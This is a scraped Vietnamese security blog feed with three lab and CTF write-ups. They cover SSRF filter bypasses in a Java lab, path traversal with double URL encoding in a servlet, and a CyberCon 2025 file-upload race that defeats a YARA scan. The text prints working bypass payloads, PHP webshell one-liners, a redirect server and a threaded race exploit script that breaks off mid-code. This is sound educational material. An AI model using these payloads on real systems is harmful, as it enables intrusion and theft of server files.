không truy cập được các ứng dụng nội bộ do đó việc bị hack gần như là không thể\n→ Pentester cũng không đủ thời gian để security test hết tất cả dịch vụ nội bộ\n→ Khả năng tìm ra lỗi trên các dịch vụ nội bộ sẽ rất cao nếu ”lẻn” vào được bên trong\nVà chủng lỗi SSRF này đáp ứng chúng ta cách để lẻn vào dịch vụ nội bộ đó.\nĐối với các tính năng xử lý URL (như fetch image / video, preview link, …) thì loại lỗi thường gặp là Server-Side Request Forgery.\nOverview Lab Luồng xử lý tổng quát:\ndoGet() lấy path và param url + level. Với mỗi endpoint:\n/ssrf/preview — gọi previewHandler(url, req, resp, level); preview hiển thị form và chạy FilterManager.check(\u0026hellip;) trước khi fetch. Nếu pass → thực hiện chính xác phần fetch nguyên bản bạn muốn (dùng new URL(urlParam) + url.openStream() đọc dòng rồi out.println(content) — không escape).\n/ssrf/openStream và /ssrf/httpurlconn — đều gọi FilterManager.check(\u0026hellip;) trước rồi thực hiện fetch/downloading theo hành vi gốc của bạn (openStream / HttpURLConnection).\nFilterManager là một bộ kiểm tra theo switch(level) gọi các lớp con Level2..Level5 (inner static classes). Mặc định DEFAULT_LEVEL = 1 → tức không filter nếu không truyền level.\nĐây là một lab ssrf với chức năng chính là fetch url cùng với file nói chung nó còn xử lý cả protocols.\nTa thử fetch url của một trang web nó sẽ nhảy ra hết giao diện của trang đó cho ta thấy được.\nThử với protocol là file và đọc được trong máy.\nỞ đây tôi sẽ chia Lab thành 4 levels khác nhau với mỗi level là một lớp filter với độ khó tăng dần lên.\nPhân tích và khai thác từng level URL url = new URL(urlParam); // Open a connection and read the content BufferedReader reader = new BufferedReader( new InputStreamReader(url.openStream()) ); StringBuilder content = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { content.append(line).append(\u0026#34;\\n\u0026#34;); } reader.close(); // Output the content to the response out.println(content.toString()); Đây là logic xử lý url chính của bài.\nLevel 1: Đến với level 1 thì sẽ không có 1 lớp filter nào cả nó mặc định sẽ chỉ có các chức năng như trên.\nVậy ở đây ta sẽ lợi dụng chức năng fetch này như thế nào. Bản chất SSRF nó là lợi dụng để có thể tấn công vào nội bộ nên ta sẽ thử tấn công vào ip loopback là 127.0.0.1.\nCó vẻ trong trường hợp này có vẻ port 8080 không mở nên ta sẽ thử brute force port xem kết quả trả về ra sao.\nSau khi tiến hành brute ta thấy có 2 port đáng nghi là 8081 và 8000.\nKiểm tra port 8081 thì ta có thể thấy trang burp hiện lên vậy đây là proxy của burp không phải thứ ta đang tìm kiếm.\nTới với port 8000 thì ta có thể thấy ở đây có vẻ là nơi cất giấu thư mục bí mật nằm trong loopback hay là trong mạng nội bộ.\nThành công đọc được file bí mật nằm trong nội bộ.\nNgoài ra thì nếu ta bằng cách nào biết được cấu trúc thư mục trong máy nội bộ thì hoàn toàn ta có thể sử dụng protocol như file để đọc thẳng luôn.\nThành công với protocol file.\nLevel 2: private static class Level2 { static boolean check(String scheme, String lowerUrl, HttpServletResponse resp) throws IOException { if (\u0026#34;file\u0026#34;.equals(scheme) || \u0026#34;gopher\u0026#34;.equals(scheme) || \u0026#34;jar\u0026#34;.equals(scheme) || \u0026#34;ftp\u0026#34;.equals(scheme)) { resp.sendError(400, \u0026#34;Protocol not allowed (level2)\u0026#34;); return false; } if (lowerUrl.contains(\u0026#34;127.0.0.1\u0026#34;) || lowerUrl.contains(\u0026#34;localhost\u0026#34;) || lowerUrl.contains(\u0026#34;0.0.0.0\u0026#34;)) { resp.sendError(403, \u0026#34;Access to loopback blocked (naive) (level2)\u0026#34;); return false; } return true; } } Ở đây có thể thấy đã có lớp filter nó sẽ chặn lại các từ như file, gopher, jar, ftp, 127.0.0.1, localhost, 0.0.0.0 điều này khiến cho cách ở level đầu có vẻ không còn hoạt động nữa.\nCó thể thấy khi mình payload dạng http://127.0.0.1:8000/Secret.txt trong đó có chứa 127.0.0.1 nằm trong black list nên đã dính 403 Forbidden.\nVậy liệu có cách nào để có thể bypass qua được lớp filter này không? Ở đây ta để ý rằng nó sẽ chặn một chuỗi cụ thể là 127.0.0.1 nhưng ở đây ta hoàn toàn có thể rút ngắn ip lại thành 127.0.1 để có thể bypass bây giờ ta sẽ test thử.\nThành công đọc được file bí mật qua IPv4 loopback. Ngoài ra ta hoàn toàn có thể sử dụng IPv6 loopback để bypass qua lớp filter này.\nThành công sử dụng IPv6 để bypass.\nLevel 3: private static class Level3 { static boolean check(String host, HttpServletResponse resp) throws IOException { if (host == null) return true; // cannot check String h = host.toLowerCase(); if (\u0026#34;127.0.0.1\u0026#34;.equals(h) || \u0026#34;localhost\u0026#34;.equals(h) || \u0026#34;127.0.1\u0026#34;.equals(h) || \u0026#34;[::1]\u0026#34;.equals(h)) { resp.sendError(403, \u0026#34;Access to loopback denied (level3)\u0026#34;); return false; } return true; } } Ở đây bị đã bị filter thêm 127.0.1 và IPv6 cũng đã bị filter.\nNhưng với lớp filter này thì bypass vẫn khá là dễ vì loopback IPv4 còn có dạng rút ngắn hơn đó là 127.1 nên ta có thể sử dụng nó xem thử kết quả trả về như thế nào.\nNgoài ra nếu như trong trường hợp 127.1 cũng ăn filter thì ta còn có 1 cách nữa đó là sử dụng encode chẳng hạn như viết 127.0.0.1 dưới dạng thập phân là 2130706433 nếu nó có parse thì ta sẽ thành công bypass được.\nThành công sử dụng số thập phân để bypass.\nLevel 4: private static class Level4 { static boolean check(String host, HttpServletResponse resp) throws IOException { String toResolve = host; if (toResolve == null) { resp.sendError(400, \u0026#34;Host missing for resolution (level4)\u0026#34;); return false; } try { InetAddress[] addrs = InetAddress.getAllByName(toResolve); for (InetAddress a : addrs) { if (a.isAnyLocalAddress() || a.isLoopbackAddress() || a.isSiteLocalAddress()) { resp.sendError(403, \u0026#34;Access to internal network denied (resolved: \u0026#34; + a.getHostAddress() + \u0026#34;) (level4)\u0026#34;); return false; } } } catch (UnknownHostException uhe) { resp.sendError(400, \u0026#34;Host resolution failed (level4)\u0026#34;); return false; } catch (Exception e) { resp.sendError(400, \u0026#34;Host resolution error (level4)\u0026#34;); return false; } return true; } } Bây giờ đến với level 4 thì mọi payload ta sử dụng từ 3 levels trước đã không còn có thể hoạt động được nữa.\nNếu địa chỉ là:\nisAnyLocalAddress() → ví dụ: 0.0.0.0\nisLoopbackAddress() → ví dụ: 127.0.0.1, ::1\nisSiteLocalAddress() → ví dụ: 192.168.x.x, 10.x.x.x, 172.16.x.x đến 172.31.x.x\nThì sẽ bị chặn với mã lỗi 403 (Forbidden), vì đây là các địa chỉ nội bộ.\nNgoài ra nó còn phân giải tên miền nên kiểu payload encode cũng không còn có hiệu lực lên nữa.\nSau một lúc tìm hiểu thì ta có một kịch bản tấn công khả thi cao là Open Redirect ta sẽ trỏ 127.0.0.1 vào bằng proxy sau đó thì đưa nó ra mạng bên ngoài bằng tunnels và tiến hành fetch link do tunnel tạo ra là nằm ngoài mạng nội bộ nên khả năng bypass được rất cao.\n# redirect.py from http.server import BaseHTTPRequestHandler, HTTPServer class R(BaseHTTPRequestHandler): def do_GET(self): # target nội bộ của server mục tiêu (ví dụ Tomcat chạy trên cùng máy với SSRF) target = \u0026#34;http://127.0.0.1:8000/Secret.txt\u0026#34; self.send_response(302) self.send_header(\u0026#39;Location\u0026#39;, target) self.end_headers() if __name__ == \u0026#39;__main__\u0026#39;: HTTPServer((\u0026#39;0.0.0.0\u0026#39;, 9001), R).serve_forever() Tiến hành redirect http://127.0.0.1:8000/Secret.txt vào localhost 9001.\nSau đó tôi sử dụng pinggy để tunnel từ localhost:9001 ra bên ngoài vì nếu mình dùng local thì sẽ dính mạng nội bộ.\nTiến hành fetch và đã thành công khai thác được file Secret.txt trong mạng nội bộ.\nLevel 5: private static class Level5 { static boolean check(String host, HttpServletResponse resp) throws IOException { String[] allow = { \u0026#34;example.com\u0026#34;, \u0026#34;static.example.net\u0026#34; }; // chỉnh theo lab nếu cần if (host == null) { resp.sendError(403, \u0026#34;Host missing (level5)\u0026#34;); return false; } for (String a : allow) { if (a.equalsIgnoreCase(host)) return true; } resp.sendError(403, \u0026#34;Host not in allowlist (level5)\u0026#34;); return false; } } Có thể thấy ở đây nó tạo một whitelist chỉ cho phép các domain giới hạn như là example.com và static.example.net và đoạn :\nfor (String a : allow) { if (a.equalsIgnoreCase(host)) return true; } Chỉ khi chuỗi host khớp chính xác với một trong các tên miền được cho phép, thì mới được truy cập. Không có phân giải DNS, không có kiểm tra IP — chỉ là so sánh chuỗi.\nWell với kiểu whitelist như này thì ý tưởng tấn công vẫn sẽ là kịch bản trỏ tới loopback và đưa ra tunnel hoặc ra domain mà mình sở hữu nhưng nằm trong whitelist ở trong trường hợp này thì mình sẽ làm theo hướng tunnel vì không có domain :v.\nTa chạy python cho nó trỏ tới file trong mạng nội bộ bằng ip loopback.\nĐưa ra tunnel nhưng có vẻ như là ở đây nó không cho đổi tên nếu muốn dùng thì phải trả tiền nên mình sẽ mod một chút vào source.\nString[] allow = { \u0026#34;hwykb-42-117-87-232.a.free.pinggy.link\u0026#34;, \u0026#34;static.example.net\u0026#34; }; Đưa link của pinggy vào whitelist và ta sẽ tiến hành fetch thử.\nThành công fetch được file bí mật.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-23-ssrf-challenge/","summary":"\u003ch1 id=\"server-side-request-forgery-java\"\u003eServer Side Request Forgery (Java)\u003c/h1\u003e\n\u003ch3 id=\"source-code\"\u003eSource Code\u003c/h3\u003e\n\u003cp\u003eGithub: \u003ca href=\"https://github.com/pzhat/SSRF_vuln_demo\"\u003ehttps://github.com/pzhat/SSRF_vuln_demo\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"what-is-ssrf\"\u003eWhat is SSRF\u003c/h3\u003e\n\u003cp\u003eGiới thiệu về Server-Side Request Forgery :\u003c/p\u003e\n\u003cp\u003eChúng ta có xu hướng lơ là, mất cảnh giác khi đang trong vùng an toàn\u003c/p\u003e\n\u003cp\u003e→ Developer nghĩ rằng hacker sẽ không truy cập được các ứng dụng nội bộ do đó việc bị hack gần như là không thể\u003c/p\u003e\n\u003cp\u003e→ Pentester cũng không đủ thời gian để security test hết tất cả dịch vụ nội bộ\u003c/p\u003e","title":"Server Side Request Forgery (Java)"},{"content":"Java Servlet Path Traversal vulnerability Source Code: [Github Link]\nOverview Đây là chức năng hiển thị hình ảnh của các file đã nằm trong folder images.\nỞ đây ta test file skibidi.jpg và request nó sẽ hiển thị lên cho ta.\nĐây là nơi chứa các file có thể hiển thị.\nVì là build trên môi trường windows localhost qua apache tôi sẽ tạo một thư mục /protected có chứa file bí mật.\nTiến hành khai thác và POC Level 1: private void handleLevel1(String fileName, HttpServletResponse response) throws IOException { String fullPath = \u0026#34;images/\u0026#34; + fileName; InputStream in = fileModel.getFileStreamUnsafe(fullPath); if (in == null) { response.setStatus(HttpServletResponse.SC_NOT_FOUND); response.getWriter().println(\u0026#34;File not found: \u0026#34; + fullPath); return; } System.out.println(\u0026#34;[Level 1] Requesting file: \u0026#34; + fullPath); response.setContentType(fileModel.getMimeType(fileName)); try (OutputStream out = response.getOutputStream()) { byte[] buffer = new byte[1024]; int bytesRead; while ((bytesRead = in.read(buffer)) != -1) { out.write(buffer, 0, bytesRead); } } } Ở level đầu tiên sẽ không có lớp phòng thủ nào mà chỉ có chức năng hiển hị hình ảnh cơ bản lấy hình ảnh từ thư mục /images và đọc nó để hiển thị lên cho user.\nỞ đây cách khai thác sẽ khá là đơn giản khi ta sẽ chỉ cần sử dụng relative path để có thể đưa vị trí của mình ra thư mục cha của thư mục /images là thư mục webapps sau đó trỏ đến vị trí folder bí mật là protected.\nThành công back ra thư mục cha sau đó trỏ đến /protected/passwd.txt.\nLevel 2: private void handleLevel2(String fileName, HttpServletResponse response) throws IOException { if (fileName.contains(\u0026#34;..\u0026#34;)) { response.getWriter().println(\u0026#34;Hack Detected\u0026#34;); return; } if (fileName.startsWith(\u0026#34;/\u0026#34;)) { fileName = fileName.substring(1); } viewFile(fileName, response); } Đến với code logic của level 2 ta có thể thấy rằng nó đã có một lớp filter là dấu .. nếu trong user input tồn tại dấu .. thì ta sẽ được trả về hack detected vậy ta sẽ thử xem payload cũ xem nó trả về cái gì cho ta.\nVậy ngoài relative path ta sử dụng để thoát từ thư mục đang đứng ra thư mục cha ta còn có cách nào khác không?. Ở đây ngoài absolute path còn có một cái gọi là absolute path đó là bạn sẽ điền đúng đường dẫn và đầy đủ và đường dẫn đó sẽ được xử lý nếu webapp không được config đúng cách.\nỞ đây mình gọi thẳng đến với /protected/passwd.txt và thành công lấy ra được thư mục bí mật giấu trong đó.\nLevel 3: private void handleLevel3(String fileName, HttpServletResponse response) throws IOException { if (fileName.contains(\u0026#34;..\u0026#34;) || fileName.contains(\u0026#34;/protected/\u0026#34;)) { response.getWriter().println(\u0026#34;Hack Detected\u0026#34;); return; } String decodedFileName = URLDecoder.decode(fileName, \u0026#34;UTF-8\u0026#34;); viewFile(decodedFileName, response); } Ở level này có thể thấy logic handle đã được gán thêm 2 lớp filter đó là nó sẽ check .. cùng với /protected/ nếu trong user input tồn tại 2 cái này thì sẽ bị trả về Hack Detected vậy nên payload cơ bản ở level 1 và level 2 sẽ không còn khả thi nữa.\nỞ đây ta thấy ở dòng String decodedFileName = URLDecoder.decode(fileName, \u0026quot;UTF-8\u0026quot;); có sử dụng url decode mà trong khi đó servlet container sẽ tự decode 1 lần nếu như có sử dụng url encode vậy ở đây ta có thể lợi dụng cách này để có thể khai thác bằng cách sử dụng payload với double url encode để khi qua lớp filter nó sẽ không check được gì sau đó server sẽ decode 2 lần và ta sẽ truy cập được vào.\nThành công khai thác path traversal bằng cách sử dụng double url encode %252fprotected%252fpasswd.txt.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-19-path-traversal-servlet/","summary":"\u003ch1 id=\"java-servlet-path-traversal-vulnerability\"\u003eJava Servlet Path Traversal vulnerability\u003c/h1\u003e\n\u003ch3 id=\"source-code\"\u003eSource Code:\u003c/h3\u003e\n\u003cp\u003e[\u003ca href=\"https://github.com/pzhat/Path_Traversal_Lab\"\u003eGithub Link\u003c/a\u003e]\u003c/p\u003e\n\u003ch3 id=\"overview\"\u003eOverview\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJl8JTtolx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eĐây là chức năng hiển thị hình ảnh của các file đã nằm trong folder \u003ccode\u003eimages\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rkGKkaYjle.png\"\u003e\u003c/p\u003e\n\u003cp\u003eỞ đây ta test file \u003ccode\u003eskibidi.jpg\u003c/code\u003e và request nó sẽ hiển thị lên cho ta.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/ByPi1pKjgg.png\"\u003e\u003c/p\u003e\n\u003cp\u003eĐây là nơi chứa các file có thể hiển thị.\u003c/p\u003e\n\u003cp\u003eVì là build trên môi trường windows localhost qua apache tôi sẽ tạo một thư mục \u003ccode\u003e/protected\u003c/code\u003e có chứa file bí mật.\u003c/p\u003e","title":"Java Servlet Path Traversal vulnerability"},{"content":"CyberCon 2025 SafeUpload Web Challenge Tổng quan challenge Mở challenge lên thì ta thấy nó cấp cho ta một giao diện dùng để upload file nên nghi ngờ ban đầu sẽ là web này dính lỗ hổng file upload.\nTiến hành thử upload lên file php với nội dung:\n\u0026lt;?php echo \u0026#34;test\u0026#34;; ?\u0026gt; Có vẻ như đã dính filter của bài có thể thấy nó đã xoá đi file mình upload lên, bây giờ ta thử upload 1 file php nhưng không có nội dung.\nVẫn là file đó nhưng không có nội dung thì hoàn toàn có thể upload bình thường lên hệ thống. Bây giờ ta tiến hành review source code của bài.\nPhân tích source code Source code challenge có 3 files chính đó là index.php, upload.php và i_dont_like_webshell.yar với index.php sẽ xử lý phần UI UX của web nên ta sẽ bỏ qua file đó và đi với 2 file chính là upload.php cùng i_dont_like_webshell.yar file upload.php sẽ xử lý logic của chức năng upload của bài và i_dont_like_webshell.yar là file rule của yara chịu trách nghiệm làm lớp filter cho chức năng upload.\n\u0026lt;?php declare(strict_types=1); ini_set(\u0026#39;display_errors\u0026#39;, \u0026#39;0\u0026#39;); $TMP_DIR = __DIR__ . \u0026#39;/tmp\u0026#39;; $DST_DIR = __DIR__ . \u0026#39;/uploads\u0026#39;; $YARA = \u0026#39;/usr/bin/yara\u0026#39;; $RULES = \u0026#39;/var/app/rules/i_dont_like_webshell.yar\u0026#39;; function four_digits(): string { return str_pad((string)random_int(0, 9999), 4, \u0026#39;0\u0026#39;, STR_PAD_LEFT); } function ext_of(string $name): string { $e = strtolower(pathinfo($name, PATHINFO_EXTENSION) ?? \u0026#39;\u0026#39;); return $e ? \u0026#34;.$e\u0026#34; : \u0026#39;\u0026#39;; } function bad($m,$c=400){ http_response_code($c); echo htmlspecialchars($m,ENT_QUOTES,\u0026#39;UTF-8\u0026#39;); exit; } if ($_SERVER[\u0026#39;REQUEST_METHOD\u0026#39;] !== \u0026#39;POST\u0026#39;) bad(\u0026#39;POST only\u0026#39;,405); if (!isset($_FILES[\u0026#39;file\u0026#39;]) || !is_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;])) bad(\u0026#39;no file\u0026#39;); $orig = $_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;] ?? \u0026#39;noname\u0026#39;; $ext = ext_of($orig); $rand = four_digits(); $tmp_path = $TMP_DIR . \u0026#39;/\u0026#39; . $rand . $ext; if (!move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;], $tmp_path)) bad(\u0026#39;save failed\u0026#39;,500); chmod($tmp_path, 0644); usleep(800 * 1000); $out = []; $ret = 0; $cmd = sprintf(\u0026#39;%s -m %s %s 2\u0026gt;\u0026amp;1\u0026#39;, escapeshellarg($YARA), escapeshellarg($RULES), escapeshellarg($tmp_path) ); exec($cmd, $out, $ret); $stdout = implode(\u0026#34;\\n\u0026#34;, $out); $ruleName = \u0026#39;Suspicious_there_is_no_such_text_string_in_the_image\u0026#39;; $hitByName = (strpos($stdout, $ruleName) !== false); if ($ret === 1 || $hitByName) { @unlink($tmp_path); echo \u0026#34;Upload scanned: MALWARE detected. File removed.\u0026lt;br\u0026gt;\u0026lt;a href=/\u0026gt;back\u0026lt;/a\u0026gt;\u0026#34;; exit; } elseif ($ret === 0) { $dst = $DST_DIR . \u0026#39;/\u0026#39; . basename($tmp_path); if (!@rename($tmp_path, $dst)) { @copy($tmp_path, $dst); @unlink($tmp_path); } echo \u0026#34;Upload scanned: OK. Moved to \u0026lt;a href=./uploads/\u0026#34; . htmlspecialchars(basename($dst)) . \u0026#34;\u0026gt;View Guide\u0026lt;/a\u0026gt;\u0026#34;; exit; } else { @unlink($tmp_path); bad(\u0026#39;scan error\u0026#39;,500); } Đây là phần chịu trách nghiệm xử lý logic chính cho chức năng upload với:\n\u0026lt;?php declare(strict_types=1); ini_set(\u0026#39;display_errors\u0026#39;, \u0026#39;0\u0026#39;); $TMP_DIR = __DIR__ . \u0026#39;/tmp\u0026#39;; $DST_DIR = __DIR__ . \u0026#39;/uploads\u0026#39;; $YARA = \u0026#39;/usr/bin/yara\u0026#39;; $RULES = \u0026#39;/var/app/rules/i_dont_like_webshell.yar\u0026#39;; strict_types=1: Bật kiểm tra kiểu dữ liệu. display_errors=0: Không hiển thị lỗi. Khai báo: Thư mục lưu file tạm. Thư mục lưu file hợp lệ. Đường dẫn tới YARA và tập rule .yar. function four_digits(): string { return str_pad((string)random_int(0, 9999), 4, \u0026#39;0\u0026#39;, STR_PAD_LEFT); } Đoạn này sẽ tạo ra 4 chữ số ngẫu nhiên (0000 -\u0026gt; 9999) để dùng làm tên file tmp.\nfunction ext_of(string $name): string { $e = strtolower(pathinfo($name, PATHINFO_EXTENSION) ?? \u0026#39;\u0026#39;); return $e ? \u0026#34;.$e\u0026#34; : \u0026#39;\u0026#39;; } Lấy nguyên phần extension của file từ file gốc.\nfunction bad($m,$c=400){ http_response_code($c); echo htmlspecialchars($m,ENT_QUOTES,\u0026#39;UTF-8\u0026#39;); exit; } Hàm hiển thị lỗi và thoát chương trình.\nif ($_SERVER[\u0026#39;REQUEST_METHOD\u0026#39;] !== \u0026#39;POST\u0026#39;) bad(\u0026#39;POST only\u0026#39;,405); if (!isset($_FILES[\u0026#39;file\u0026#39;]) || !is_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;])) bad(\u0026#39;no file\u0026#39;); Hàm kiểm tra HTTP request và kiểm tra xem có upload đúng file hay không.\n$orig = $_FILES[\u0026#39;file\u0026#39;][\u0026#39;name\u0026#39;] ?? \u0026#39;noname\u0026#39;; $ext = ext_of($orig); $rand = four_digits(); $tmp_path = $TMP_DIR . \u0026#39;/\u0026#39; . $rand . $ext; Xử lý file upload lên ở đây nó sẽ lấy tên gốc của file được upload lên sau đó lấy đuôi file gốc và gọi đến hàm four_digits để tạo số random từ đó gộp thành đường dẫn tạm thời nó sẽ có dạng /tmp/XXXX.php.\nif (!move_uploaded_file($_FILES[\u0026#39;file\u0026#39;][\u0026#39;tmp_name\u0026#39;], $tmp_path)) bad(\u0026#39;save failed\u0026#39;,500); chmod($tmp_path, 0644); Di chuyển file vào thư mục /tmp và gán quyền 0644.\nusleep(800 * 1000); // 800ms Delay 800 giây có vẻ để chống brute force.\n$out = []; $ret = 0; $cmd = sprintf(\u0026#39;%s -m %s %s 2\u0026gt;\u0026amp;1\u0026#39;, escapeshellarg($YARA), escapeshellarg($RULES), escapeshellarg($tmp_path) ); exec($cmd, $out, $ret); Chạy yara để kiểm tra file có phải mã độc không nó sẽ ghi kết quả vào $out và mã trả về vào $ret.\n$stdout = implode(\u0026#34;\\n\u0026#34;, $out); $ruleName = \u0026#39;Suspicious_there_is_no_such_text_string_in_the_image\u0026#39;; $hitByName = (strpos($stdout, $ruleName) !== false); Gộp đầu ra thành chuỗi. Kiểm tra nếu rule tên \u0026lsquo;Suspicious_there_is_no_such_text_string_in_the_image\u0026rsquo; có bị match không. if ($ret === 1 || $hitByName) { @unlink($tmp_path); echo \u0026#34;Upload scanned: MALWARE detected. File removed.\u0026lt;br\u0026gt;\u0026lt;a href=/\u0026gt;back\u0026lt;/a\u0026gt;\u0026#34;; exit; } Xử lý file theo kết quả của yara scan trả về nếu $ret==1 thì file upload trên sẽ bị xoá.\nelseif ($ret === 0) { $dst = $DST_DIR . \u0026#39;/\u0026#39; . basename($tmp_path); if (!@rename($tmp_path, $dst)) { @copy($tmp_path, $dst); @unlink($tmp_path); } echo \u0026#34;Upload scanned: OK. Moved to \u0026lt;a href=./uploads/\u0026#34; . htmlspecialchars(basename($dst)) . \u0026#34;\u0026gt;View Guide\u0026lt;/a\u0026gt;\u0026#34;; exit; } Với điều kiện $ret==0 thì sẽ đưa file đó từ /tmp sang thư mục /uploads và hiển thị link để truy cập file đó.\nelse { @unlink($tmp_path); bad(\u0026#39;scan error\u0026#39;,500); } Trong trường hợp yara trả về khác 0/1 thì sẽ trả về lỗi này.\nDebug và POC Với bài này vì không chắc là liệu bên phía backend có thực thi file đuôi php không nên tôi sẽ tiến hành debug trên docker.\nTiến hành đưa file shell.php vào thư mục /uploads.\nTruy cập vào /uploads/shell.php có thể thấy php đã được thực thi nên ta có thể nhận định rằng server có thực thi file đuôi php.\nVậy hướng khai thác bài này ở đây là gì, ở đây sau khi tìm hiểu thì tôi nhận thấy lớp filter của yara khá là dày và sẽ rất khó có thể bypass qua được nên tôi tìm thêm hướng khai thác khác.\nSau khi đọc lại code tôi thấy có dòng:\nusleep(800 * 1000); // 800ms Ở đây theo tôi hiểu thì trước khi yara tiến hành scan thì sẽ có 1 khoảng thời gian sleep là vào khoảng 800ms hay 0.8 giây, vậy liệu ta có thể lợi dụng khoảng thời ngắn này để làm được việc gì không?\nSau khi tìm hiểu thì có phương pháp TOCTOU (Time-of-check to Time-of-use) là một loại lỗi phổ biến trong các tình huống race condition, nơi có sự không đồng bộ giữa quá trình kiểm tra và sử dụng tài nguyên (hoặc dữ liệu) trong một hệ thống.\nGiải thích TOCTOU:\nTOCTOU xảy ra khi có một sự khác biệt giữa thời điểm khi một điều kiện được kiểm tra và thời điểm khi điều kiện đó thực sự được sử dụng. Trong một hệ thống nhiều tiến trình (multi-threaded) hoặc có sự truy cập đồng thời (concurrent access), một tiến trình có thể kiểm tra một điều kiện (ví dụ: một file có tồn tại hay không) nhưng trong khoảng thời gian giữa lúc kiểm tra và lúc sử dụng tài nguyên đó, tài nguyên có thể đã thay đổi bởi một tiến trình khác.\nVí dụ về TOCTOU:\nGiả sử bạn có một đoạn mã kiểm tra nếu một file tồn tại, sau đó tiến hành sử dụng file đó (ví dụ, đọc nội dung). Nếu trong khoảng thời gian giữa việc kiểm tra sự tồn tại của file và việc sử dụng nó, một tiến trình khác đã thay đổi trạng thái của file (ví dụ: xóa file, thay đổi quyền truy cập file, hoặc ghi đè lên file), thì có thể dẫn đến kết quả không mong muốn hoặc hành vi không xác định.\nVậy bây giờ kịch bản đưa ra sẽ là ta sẽ cố gắng lợi dụng thời gian 800ms đó để có thể thực thi cat flag ra và in nó ra vì như ở trên ta đã thử debug web server hoàn toàn có thể tự thực thi php và ta sẽ cố định tên file sẽ là 0089.php vì như đoạn code đã được phân tích trên tên file khi nó di chuyển vào /tmp sẽ được random nên ta sẽ cố định nó lại và chạy nhiều cặp request nhưng trước hết ta sẽ thử debug.\nTa sẽ tiến hành sử dụng burp proxy cùng với đó là script để thử 1 cặp request GET và POST:\nimport requests # Burp Suite Proxy (enable \u0026#34;Intercept\u0026#34; in Burp first) proxies = { \u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39; } # Target URL and predictable filename UPLOAD_URL = \u0026#34;http://localhost:8001/upload.php\u0026#34; FILENAME = \u0026#34;payload.php\u0026#34; # Fixed 4-digit name PAYLOAD = b\u0026#39;\u0026lt;?php system(\u0026#34;cat /*.txt\u0026#34;); ?\u0026gt;\u0026#39; # Simple payload # Prepare the file upload files = {\u0026#39;file\u0026#39;: (FILENAME, PAYLOAD)} try: response = requests.post( UPLOAD_URL, files=files, proxies=proxies, # Remove this line to skip Burp verify=False # Skip SSL verification if needed ) print(f\u0026#34;POST Response ({response.status_code}):\\n{response.text}\u0026#34;) except Exception as e: print(f\u0026#34;POST Error: {e}\u0026#34;) import requests # Burp Suite Proxy proxies = { \u0026#39;http\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39;, \u0026#39;https\u0026#39;: \u0026#39;http://127.0.0.1:8080\u0026#39; } # Predictable access URL EXPLOIT_URL = f\u0026#34;http://localhost:8001/tmp/0089.php\u0026#34; try: response = requests.get( EXPLOIT_URL, proxies=proxies, # Remove to skip Burp verify=False ) print(f\u0026#34;GET Response ({response.status_code}):\\n{response.text}\u0026#34;) except Exception as e: print(f\u0026#34;GET Error: {e}\u0026#34;) Tiến hành chạy POST ở đây burp đã bắt được đoạn upload lên bây giờ ta sẽ chạy GET và forward xem nó sẽ trả về gì.\nSau khi forward có thể thấy GET vẫn được trả về nhưng kết quả sẽ là 404 vì ở đây nó sẽ random ra file khác nên nếu chưa trùng tên thì kết quả sẽ không ra bây giờ ta sẽ thử script khai thác.\nỞ đây tôi sẽ viết script sẽ gửi POST và GET request sẽ xảy ra nhanh nghĩa là sau khi POST file php lên thì ngay lập tức gửi GET request để lấy nội dung và với vấn đề về đoạn random ở tên file trong thư mục /tmp thì mình sẽ để cố định dãy số nào đó (vd : 0086.php) và lặp đi lặp lại quá trình request đến khi nó chạm đúng vào file 0086.php và lấy được flag ở đây mình tạo 10001 request và chờ thôi nếu nhân phẩm tốt thì flag sẽ ra sớm còn không thì chờ.\nKiểm tra trong burp xem proxy có hiển thị đủ 2 request không, ở đây nó sẽ liên tục tạo từng cặp POST và GET nên không lo về vấn đề time.\nCode Exploit:\nimport requests from concurrent.futures import ThreadPoolExecutor, as_completed # Biến flag để kiểm tra xem có sử dụng proxy hay không USE_PROXY = False # Proxy nếu cần debug proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://localhost:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://localhost:8080\u0026#34; } if USE_PROXY else {} rand_num = \u0026#34;0058\u0026#34; # Số này có thể thay đổi theo yêu cầu của bạn # Hàm upload shell def upload_shell(rand_num): url = \u0026#34;http://localhost:8001/upload.php\u0026#34; files = { \u0026#34;file\u0026#34;: (\u0026#34;shell.php\u0026#34;, \u0026#34;\u0026lt;?php echo shell_exec(\u0026#39;cat /*\u0026#39;); ?\u0026gt;\u0026#34;, \u0026#34;application/octet-stream\u0026#34;) } try: r = requests.post(url, files=files, timeout=5, proxies=proxies) return r.status_code except Exception as e: return f\u0026#34;upload error: {e}\u0026#34; # Hàm kiểm tra flag def try_read(): url = f\u0026#34;http://localhost:8001/tmp/{rand_num}.php\u0026#34; try: r = requests.get(url, timeout=5, proxies=proxies) if \u0026#34;cyber\u0026#34; in r.text: return r.text.strip() # Trả về flag nếu tìm thấy except Exception: return None return None # Hàm chạy song song POST và GET với nhiều threads def loop_until_flag(max_requests=10000): total_requests = 0 with ThreadPoolExecutor(max_workers=100) as executor: while total_requests \u0026lt; max_requests: futures_upload = [executor.submit(upload_shell, rand_num) for _ in range(100)] futures_read = [executor.submit(try_read) for _ in range(50)] # Kiểm tra flag với 50 threads # Chờ tất cả các task (futures) trong futures_upload hoàn thành for f in 